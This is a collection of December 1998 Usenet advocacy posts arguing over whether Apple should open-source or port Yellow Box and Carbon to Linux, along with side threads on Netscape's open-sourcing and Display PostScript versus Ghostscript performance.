References: <746k9p$820$1@your.mother.com> <74i2du$k1m@news1.panix.com>
<slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>
<cdoutyF3oEAo.886@netcom.com> <0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-proxy.airnews.net>
Mime-Version: 1.0
Date: Wed, 9 Dec 1998 14:28:24 GMT
In
<0CB6EE0885508DDD.60A7405A43CDEF1C.CA72838D94017B01@library-proxy.airnews.ne
t> Sheldon Gartner wrote:
> Ok, my bad. Although I was thinking of the Claris and Filemaker stuff
> as well as Quicktime, etc.
So what you're saying is that they should spend lots of money to port over
their OS, so that they can port over their products, so they can sell to a
market that's1/3rd their current one.
Yeah, ok. Claris made some $200M a year (maybe as high as $400M). Apple
is a $6B a year company. Where's the beef?
> My whole argument, however, boils down to this (at least in my view,
> and I'm the one making the argument!): Apple as-is is a goner.
And you base this on nothing.
> the death spiral, despite the number of iMacs sold. Its hardware is
> too expensive
Then how do you explain the number of iMacs sold?
> and the OS doesn't have enough apps.
As opposed to Linux, which has practically none - but of course that's
not a problem.
Here, let me sum up your argument for you: I really don't know anything
about Apple, or their auxiliary companies or products. In fact I don't
really know what's going on, but I have my opinion, which is directly
contradicted by observable facts. Nevertheless I think they should drop
everything and move to a model which has not demonstrated itself to be able
to make money on a large scale, and I think they should do this "juct
'cause".
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 14:44:27 GMT
Organization: Primenet (602)416-7000
Message-ID: <74m2cb$ndr$1@nnrp03.primenet.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net>
<74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242> <anarkhos-ya02408000R0812982257100001@news> <Dipb2.601$L52.156@news.rdc1.ne.home.com>
<anarkhos-ya02408000R0912980010370001@news>
strobe <anarkhos@anarchism.orgy> wrote:
: Wow, Linux users have FREE browsers? Your example really doesn't touch
: on anything relevant. The question was if Linux users would pay for YB
: applications, I gather NOT!
Linux has lots of non-free applications. Check out
http://www.linuxmall.com/sofs.html#Office
for a list office applications.
Linux users pay for things, though perhaps less often than Mac users.
As the operating system becomes more mainstream, I think it brings in a
more conventional consumer who is ready to buy more pieces.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 9 Dec 1998 14:50:09 GMT
Organization: Primenet (602)416-7000
Message-ID: <74m2n1$ndr$2@nnrp03.primenet.com>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com>
<BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On Tue, 08 Dec 1998 17:51:59 GMT, Sheldon Gartner <a1050pi@yahoo.com> wrote:
: >Doing that is the only thing that stands between Apple and oblivion.
: >They still have time to be the Netscape of Linux.
: The problem is that even Netscape isn't the Netscape of Linux.
: Making NS opensource has not helped Netscape gain market share.
How can we be sure it didn't help? It certainly generated a lot of buzz
and good press at a difficult time for Netscape.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yet Another Open Source YB Conspiracy Theory (tm)
Date: 9 Dec 1998 15:41:37 GMT
Organization: Primenet (602)416-7000
Message-ID: <74m5nh$pl7$1@nnrp03.primenet.com>
References: <1djo3pk.1k7d61y1x5to6gN@port1-139.nordnet.fr> <74h6mj$f2j$1@your.mother.com> <74id46$cvu$1@news.digifix.com> <74jgqe$gfj$1@nnrp03.primenet.com> <74l1c2$i65@news1.panix.com>
John jotted:
> If it is Adobe, and this really isn't a money thing, and if they really
> want to "kill" DPS .... what's their motivation?
Ron replied:
: Adobe wants to say in control of the DTP applications. If other
: software vendors can use the DPS API, Adobe would have strong
: competition.
Sal said:
| To prevent people from being able to print PS to a non PS printer with
| full PS image quality and full PS language compatibility.
| Adobe makes a ton of money selling rips and on sales of PS printers.
If true - this is a sad state of affairs, and if true - I hope that the
next imaging model is not Adobe controlled.
As an aside, I think it is important to remember that any new OS
introduction is a revolution. For it to work you need to fire up the
revolutionaries. You won't find those revolutionaries among the fat
merchants who own the market today. You need to give the young turks the
chance to overthrow the status quo.
When we hear that Apple has yielded to developer demands, we should
remember that we are talking about the top five developers, not you and
me. The top five developers want to make sure that the same five
applications will be on top in the new world.
But don't worry. Revolution is alive and well at Apple. I hear that the
high-end comptuters will soon be translucent!
John
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
Date: Wed, 9 Dec 1998 10:47:57 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <74m666$fuj@shelob.afs.com>
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
Rex Riley wrote:
>ex-NeXT personalities participating in comp.os.linux.advocacy...
>
>Scott Hess
>Greg Anderson
>Nathan Urban
>Sal Denaro
>Johnathan Henry
>Charles Swiger
>Michael Peck
>Matt Kennel
>Henry Mc Gilton
I wouldn't read anything into this list. In my case, as I'm sure in most of
the others, it was based on replying to a message that had been
cross-posted. Nothing intentional WRT Linux.
>Can an OPEN Apple be far behind?
Keep dreaming, especially if you are implying that any of our opinions mean
anything to the New Apple.
Greg
Date: Tue, 08 Dec 1998 18:07:41 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,misc.invest.stocks
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <stevehix-0812981807420001@192.168.1.10>
References: <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74fbeb$ouk@news1.panix.com> <366C5B06.41F8EA24@ericsson.com> <74i2du$k1m@news1.panix.com> <slrn76r3gc.qsl.maynard@mr-gateway.internal.net> <61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>
Organization: Close to None
In article
<61D8A87D61D3E386.97F7D7646167ACD0.0677956474619452@library-proxy.airnews.net>,
a1050pi@yahoo.com wrote:
> Geeze, why is it so hard to understand how Apple's balance sheet would
> do quite well if they open sourced Yellow Box as a gift to the Linux
> community.
How *would* they benefit financially by open-sourcing YB?
Amazify us...
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 9 Dec 1998 16:24:15 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <74m87f$ipq@newsb.netnews.att.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@n <Dipb2.601$L52.156@news.rdc1.ne.home.com>
Originator: gupta@tlctest
Michael Lankton <satan@hell.home.com> wrote:
>freely available, would I pay for a registered version? No, because the
>minute Netscape announced they would be charging individual users for the
>software several projects would spring up to bring a quality www browser to
>the platform free for individual use, and one or more of the projects would
>end up producing just that. Such is the nature of free software.
So, where is the equivalent of Quicken for Linux ?
-arun gupta
Date: Wed, 09 Dec 1998 11:34:08 -0500
From: smileyy@esm-software.com (Andrew McCormick)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Message-ID: <smileyy-0912981134080001@209.50.122.242>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <SCOTT.98Dec7000502@slave.doubleu.com> <FIiROLCWddLd-pn2-70dS7BbvWcCf@localhost> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com>
Organization: DeadHorse Productions
yO|mu63W9l,<&>Elu}#LIobQ32F
In article <74l1bv$i65@news1.panix.com>, sal@panix.com wrote:
>Making NS opensource has not helped Netscape gain market share.
Of course, NS hasn't had their first open-source release yet. If NS5 is
as standards-compliant as a lot of people promise, then it should see a
lot of adoption.
Andrew McCormick
--
smileyy@esm-software.com
Message-ID: <366EB02D.B9CD5E3A@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: YB, IB, OPENSTEP, OPENSOURCE RAD...
References: <1Ypb2.1190$f97.1320@news.rdc1.sdca.home.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Wed, 09 Dec 1998 12:12:27 EDT
Date: Wed, 09 Dec 1998 09:15:25 -0800
Rex Riley wrote:
* ex-NeXT personalities participating in
* comp.os.linux.advocacy...
* Scott Hess
* Greg Anderson
* Nathan Urban
* Sal Denaro
* Johnathan Henry
* Charles Swiger
* Michael Peck
* Matt Kennel
* Henry Mc Gilton
* Can an OPEN Apple be far behind?
Must be pure co-incidence due to cross-posting --- I read
CSNA only.
As for Open Apple, if somebody can come out with a business case
that makes sense, I'd take a look. For some years now I've been
struggling with the notion of how I'm supposed to make a living by
giving away software. If anybody has any Brilliant Insights, I'd
love if they'd share them. So far I haven't been able to make it
work financially.
I know there's a lot of momentum behind Linux. But from the
little I've seen, it has a long way to go to get to being
user-friendly. And its use of X-Windows is an automatic
turn off for me. Now that Sun are adopting InstallShield
for Slowlaris --- 'Bringing the Ease of Use of the PC to your
Sun desktop' --- Linux might have to adopt something similar.
Oh, and I don't have middle initials . . . See below.
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Net '94 = Linux '99
Date: 9 Dec 1998 10:16:39 -0700
Organization: Idaho State University
Message-ID: <74mb9n$535$1@inconnu.isu.edu>
References: <Geert.Poels-0512981730040001@pool02b-194-7-145-37.uunet.be> <74jlr2$b4u$1@remarQ.com> <BC8F480CD71C2D3A.EDD887A13E9B044F.646F5E9E9BE72A07@library-proxy.airnews.net> <74l1bv$i65@news1.panix.com>
In article <74l1bv$i65@news1.panix.com>, Sal Denaro <sal@panix.com> wrote:
->Prior to being opensourced, Netscape had a large following on
->Linux. The only thing that changed after was that a number of
->opensource browser projects were killed due to lack of interest.
... that and the incredibly small, efficient NGlayout engines for
different Linux graphical libraries (and every other OS under the
sun). We're talking about < 1MB versions of Netscape that support
XML, HTML 4.0 and everything but Java that loads FAST and spits out
web pages VERY FAST.
Nobody has seen a finished product of Netscape's opensource
(www.mozilla.com) campaign yet, so how can YOU comment on its effect
on the Linux community?
--
The wheel is turning but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
Message-ID: <366EB82B.98E52CE7@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982236290001@news> <74liso$npc$1@nnrp1.dejanews.com>
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NNTP-Posting-Date: Wed, 09 Dec 1998 12:46:48 EDT
Date: Wed, 09 Dec 1998 09:49:31 -0800
malcolm@plsys.co.uk wrote:
* In article <anarkhos-ya02408000R0812982236290001@news>,
* anarkhos@anarchism.orgy (strobe) wrote:
* * Regarding the idea of yellow box for Linux.
* * 1) Yellow box isn't going to be free. Licences
* * have to be paid, probably $20.
<<<< snip >>>>
* * Linux will soon have WindowMaker which will
* * use display ghostscript.
* How "soon" is soon for acceptable performance. Recent reports
* I've heard re DGS indicate that it's quite a way from
* "consumer" quality thus far. See also recent threads in
* comp.sys.next.advocacy about other issues surrounding DGS --
* look in particular for Mike Paquette and Henry McGilton.
Well, I just did a definitely un-scientific survey of one case.
I used my Level Three radial shading emulation code, which draws
a couple of cylinders, one with a rainbow effect and one with
a sampled function to lay down a Gaussian colour gradient.
On my old 25MHz Next slab, it takes 11390 milliseconds --- just
over 11 seconds --- using YAP to display.
On my brand new knuckle-dragging 400MHz Pentium, GhostView takes
1012 milliseconds --- just over one second --- to display the
same picture, using Ghostscript 5.01.
So, on a sixteen times faster machine [with 256 MB RAM as well]
GhostScript appears to be about eleven times faster. But if I
normalise to the slab, DPS is faster by a factor of about 1.4.
Remember my caveat from above --- this is a very un-scientific
study, but it gives us some rough numbers to draw comparisons,
as opposed to the divining rods people have been using so far.
So we can argue that Ghostscript needs roughly a thirty percent
speedup to be comparable to DPS. Course, it's not client-server
based, and it crashes when I try to use Optima, but what the
heck --- this is advocacy, where reality need not apply . . .
If anybody is running DPS on Intel, I could ship the source file,
as long as you promise not to look at my write-only code . . .
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
From: "Jeffrey S. Dutky" <dutky@bellatlantic.net>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Business case for OpenCarbon
Followup-To: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: Wed, 09 Dec 1998 12:50:09 -0500
Organization: Bell Atlantic Internet Solutions
Message-ID: <366EB83B.754F@bellatlantic.net>
References: <366DC928.16F3@bellatlantic.net> <EWpb2.1189$f97.1320@news.rdc1.sdca.home.com>
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To: rr6013@yahoo.com
Rex Riley wrote:
>
> Apple going OPENSOURCE with only their "Carbon" API's is too
> little. Carbon, IIRC, are _only_ new calls implemented for
> the Macintosh OS to replace old, crufty 16bit leftover stuff
> from the Mac's early days. Carbon refers to the set of
> replacement calls for older programs that enable existing
> Macintosh applications to recompile to newer 32bit OSes.
> Recompiles using Carbon API's amount to an hour's work for
> older Macintosh programs.
First Carbon does NOT "replace old, crufty 16bit leftover stuff"
because the Mac NEVER had "16bit" stuff. The moniker 16-bit, as
applied to operating systems, is purely a phenomenon of DOS and
Windows, and is more a marketing gimmick than anything else.
Further, if the moniker "32bit" has any more meaning than its
sibling, the Mac has been a "32bit OS" since 1992, at the latest,
when Apple implemented the 32-bit memory manager, which explicitly
made use of all 32-bits in a memory address. Prior to that time,
due to limitations of the 68000 chip, the top 8 bits of a memory
address was unused.
Carbon is a complete replacement for the current OS calls,
stripping out many calls that can cause problems for a memory-
protected, preemptively multi-tasking system (such as anything
that sends definition routines from user space into system space)
and adds a few new calls and managers to flesh out the system where
it is weak. A fair fraction of the OS calls remain, but will be
rewritten from the ground up to function in the new, Mach/BSD
based OS.
> OPENSOURCE is a reasonable proposition for both the Linux
> community and Apple to consider in growing their "client"
> userbase. OPENSOURCE both the Mac API's + Carbon API's could
> accomplish just that for both parties. Linux desktop users
> would effectively link their desktop interests on the "client"
> side with those of Macintosh users.
Let's see if I can translate this:
"By open sourceing carbon, Apple and the Linux community can
expand their userbase in the home and business markets. (as
distinguished from the server or education markets) The Linux
community and Apple would then share common interests in these
two markets."
This is, of course, just a partial restatement of the second
paragraph from my original post:
"What the Linux community SHOULD be pushing for, rather than a
YB ported to Linux, is some support for porting Carbon to Linux.
This would be good both for Linux and for Apple. It would
instantly increase the potential market for any application
ported to Carbon, and it would open up a huge software base to
Linux users."
> Big Picture issues I envision from such an OpenCarbon proposition
> are impacts on Linux's "server" space, code development, resource
> fragmentation and technology sharing agreements. There exists a
> possible future YB scenario of Linux "open" desktops upgrading to
> Apple "proprietary" MacOS X desktops.
>
> These side-effects are possible positive developments in the
> Linux community. Linux with choices, cross-over options to an
> O-O development environment, a modern desktop upgrade path, etc...
>
> Not clearly defined in your BusinessCase is what reciprocating
> role Linux would play in Apple's marketplace...
I think I pretty clearly defined the benefits to Apple of making
the Carbon APIs available to the Linux community in paragraph
four starting "The benefits of an Open Source carbon, to Apple,
are several:" They include a larger developer base for the APIs
themselves, a larger base of testers for the software on a wide
range of platforms, ports to other platforms implemented at
little or no cost, and a larger potential market for third party
software written to the Carbon APIs.
- Jeff Dutky
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 17:49:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74md7v$eib$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news>
In article <anarkhos-ya02408000R0812982332450001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
>> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
>> responding would use YB for Linux, but would not use YB on MOXS, that would
>> suggest to Apple that there's a large potential market.
>
> Retake that poll asking Linux users if they would be prepared to pay $20
> licence fee, not a penny of which Apple would see. Also I'd hate to point
> out the obvious, but if they said they "would not use YB on MOXS" then why
> the hell would Apple do this? Gee, let's spend loads of money making candy
> for Linux users. Nothing you have said suggests "there's a large potential
> market" here.
Exactly. Which is why I don't see a compelling reason for Apple to do a YB
port to Linux, even though I'd rather see YB available everywhere.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: bholderness@erols.remove.this.com (WIlliam Holderness)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 09 Dec 1998 13:33:44 -0500
Organization: IMPACT
Message-ID: <bholderness-0912981333440001@207-172-95-190.s63.as1.dwt.erols.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com> <anarkhos-ya02408000R0812982332450001@news>
NNTP-Posting-Date: 9 Dec 1998 18:00:27 GMT
In article <anarkhos-ya02408000R0812982332450001@news>,
anarkhos@anarchism.orgy (strobe) wrote:
>> Now, if (hypothetical) this Slashdot poll revealed that 8000 out of 10K
>> responding would use YB for Linux, but would not use YB on MOXS, that would
>> suggest to Apple that there's a large potential market.
>>
>
> Retake that poll asking Linux users if they would be prepared to pay $20
>licence fee, not a penny of which Apple would see. Also I'd hate to point
>out the obvious, but if they said they "would not use YB on MOXS" then why
>the hell would Apple do this? Gee, let's spend loads of money making candy
>for Linux users. Nothing you have said suggests "there's a large potential
>market" here.
I think that you are missing the point. The port of YB would not be to
attract Linux developers (users) to the mac. It would be to generate YB
applications, which can be (re-compiled and) used on the mac.
Bill Holderness
IMPACT
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-Et7DPq9XHuD0@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <366C7F86.8B3709C5@ericsson.com> <74k1lk$e9j$1@nnrp1.dejanews.com>
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Date: 9 Dec 98 18:05:23 GMT
On Tue, 8 Dec 1998 20:20:05, "Charles Swiger" <chuck@codefab.com>
thought aloud:
> In article <366C7F86.8B3709C5@ericsson.com>,
> Michael Peck <michael.peck@ericsson.com> wrote:
> > Charles Swiger wrote:
>
> >> So he needs a business case to demonstrate to his superiors why spending
> >> those resources on a YB port for Linux is better than spending them
> >> elsewhere.
> >
> > No...I think you're making a mistake with that. There's no way for the
> > engineer
>
> Not the engineer. The engineer's manager, who has to report to his/her
> superiors. All the way up the chain, Apple's senior executives have to report
> to the stockholders.
And before soon we're all part of a scene straight from "Brazil". :-)
I'd like to believe that Apple of today gives a little more autonomy
to the lower echelons who do the actual work in cases where the
management has given a nod and expects results within agreed budget.
In the case of YB for Linux I'd expect Mr Tevanian to have assigned
someone to do a feasibility study of the port with reporting directly
to him and/or his management team. This is somewhat different from a 5
sec bug fixing session... It's like writing a business plan on
STEROIDS!
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-4NZwWR6hjEvd@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu> <746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu> <74afa6$jto$1@nnrp1.dejanews.com> <3668CFC5.A7041DBF@nstar.net> <74bru4$lsb$1@nnrp1.dejanews.com> <36697D5B.36286143@nstar.net> <19981205184426200173@ts5-41.aug.com> <3669D962.F5C9CBBB@nstar.net> <74eqe0$vjq$1@nnrp1.dejanews.com> <366B0506.5F628758@nstar.net> <74h12t$q78$1@nnrp1.dejanews.com> <366C14A2.183CC45@nstar.net> <74ho9a$fp3$1@nnrp1.dejanews.com> <smileyy-0712982013190001@209.50.122.242> <anarkhos-ya02408000R0812982257100001@news> <Dipb2.601$L52.156@news.rdc1.ne.home.com> <anarkhos-ya02408000R0912980010370001@news>
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Date: 9 Dec 98 18:05:32 GMT
On Wed, 9 Dec 1998 08:10:37, anarkhos@anarchism.orgy (strobe)
displayed healthy
dose of attitude and ability to discuss constructively:
> [blahblah]
> It depends on the app. Would I pay
> > for a Mac OS X Server port of Mozilla? Yes. If linux Netscape was no longer
> > freely available, would I pay for a registered version? No, because the
> > minute Netscape announced they would be charging individual users for the
> > software several projects would spring up to bring a quality www browser to
> > the platform free for individual use, and one or more of the projects would
> > end up producing just that. Such is the nature of free software.
>
> Wow, Linux users have FREE browsers? Your example really doesn't touch
> on anything relevant. The question was if Linux users would pay for YB
> applications, I gather NOT!
Are you trying to imply that Linux is not showing signs (or potential,
to say at least) of advancing into the consumer sphere or enterprises
but will instead remain a geek niche? That geeks don't buy
applications even if they provide features and usability they need or
crave for? That Oracle, IBM, Sun, Corel et al are making a grave
mistake by wasting time writing apps for Linux beause there is no
market, or any other strategic importance to that matter? Or is the
anti-establishment material feeling the heat and getting ready to
migrate to greener pastures, such as GNU/Hurd? :-)
Rgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-4mm75cSgFd2g@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <74kgi8$dmf$2@samsara0.mindspring.com> <slrn76rims.ao4.jedi@dementia.mishnet> <74l0u0$i44@news1.panix.com>
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Date: 9 Dec 98 18:05:27 GMT
On Wed, 9 Dec 1998 05:13:36, sal@panix.com (Sal Denaro) thought aloud:
> On Tue, 8 Dec 1998 16:57:00 -0800, jedi@dementia.mishnet
> <jedi@dementia.mishnet> wrote:
> > OpenSourcing key user level components
> > allows there to be a bridge from the PC
> > to the Mac with little in terms of cost
> > incurred to Apple.
>
> What motivation does anyone have to cross the bridge?
>
> If I could run YB on Linux at no cost, I can not think of anything that
> is going to get me to buy Apple hardware. If running YB on Mac hardware
> was more cost effective than running it on PC hardware, then I might be
> much more motivated to buy a Mac.
You kinda answered your own question here. :-)
Picture a scenario where YB apps start mushrooming thanks largely to
the Linux port. You could download YB for Linux for free alright. Or
you could buy Apple-branded YB package for Linux a la Red Hat, with
installation support and all. You get an improved Linux experience
right away, and it only gets better after getting/buying more YB
apps...
Now enter PowerMacs. Ideally (and this is something where Apple can
help) these PowerPC-based systems became supported out-of-the-box by
the popular Linux distributions in which case PowerMacs would become
equal competitors to Intel-boxes. Compatibility and planned-obsoletion
issues removed the sale would go to the better box. It'd be upto Apple
to price the G4/AltiVec boxes to move.
OTOH if the YB app field had mushroomed, partly thanks to momentum on
the Linux side, most of the PowerMac buyers would prefer to stay with
Mac OS X, enjoying its commercial grade polish and consistency, and
perhaps more advanced AltiVec utilization.
Whether the customer wants "good enough" or "excellent" Apple would
have something to offer; both Apple's hardware and software would
become relevant to the general public again.
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Organization: Urban Primates Unlimited
Message-ID: <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net>
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Date: 9 Dec 98 18:05:19 GMT
On Tue, 8 Dec 1998 23:42:22, a1050pi@yahoo.com (Sheldon Gartner)
thought aloud:
> On 8 Dec 1998 16:25:45 GMT, gupta@knim.tm.tta.moc-mirror after @
> wrote:
>
> >Sheldon Gartner <a1050pi@yahoo.com> wrote:
> >
> >>If Apple were to make YB (or OpenStep or the OSX upper level stuff)
> >>open source and provide it to the Linux community, that would make
> >>Apple's future viable again. Otherwise, they're goose is cooked.
> >
